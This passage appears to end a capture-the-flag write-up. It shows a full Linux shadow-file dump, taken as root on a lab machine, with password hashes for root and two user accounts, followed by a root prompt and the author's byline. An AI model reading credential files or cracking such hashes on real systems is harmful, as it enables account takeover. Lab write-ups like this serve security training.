root:$y$j9T$o4QbpI9MXymg8tQSz73eq0$c1P1OfnBDpSlaHX8xmPTekraDfdl8gj5Xtghz.E5V3A:20394:0:99999:7:::
daemon:*:20394:0:99999:7:::
bin:*:20394:0:99999:7:::
sys:*:20394:0:99999:7:::
sync:*:20394:0:99999:7:::
games:*:20394:0:99999:7:::
man:*:20394:0:99999:7:::
lp:*:20394:0:99999:7:::
mail:*:20394:0:99999:7:::
news:*:20394:0:99999:7:::
uucp:*:20394:0:99999:7:::
proxy:*:20394:0:99999:7:::
www-data:*:20394:0:99999:7:::
backup:*:20394:0:99999:7:::
list:*:20394:0:99999:7:::
irc:*:20394:0:99999:7:::
_apt:*:20394:0:99999:7:::
nobody:*:20394:0:99999:7:::
systemd-network:!*:20394::::::
systemd-timesync:!*:20394::::::
messagebus:!:20394::::::
sshd:!:20394::::::
wingftp:$y$j9T$s62DxCZf.Aqw9qUCF7Fk10$BcBVlkDD7Rm3kpB.jyIWh9o0GvF.cmke6npe25ZnVv1:20394:0:99999:7:::
wacky:$y$j9T$kF5P9XjuPO85qZb/h5hff1$oiwH5i/tHgA4u2FBN/OJJtUO.UMzhfQckEycEPAdQM0:20395:0:99999:7:::
_laurel:!:20475::::::
root@wingdata:~#
Share on

Dany Sucuc
WRITTEN BY
sckull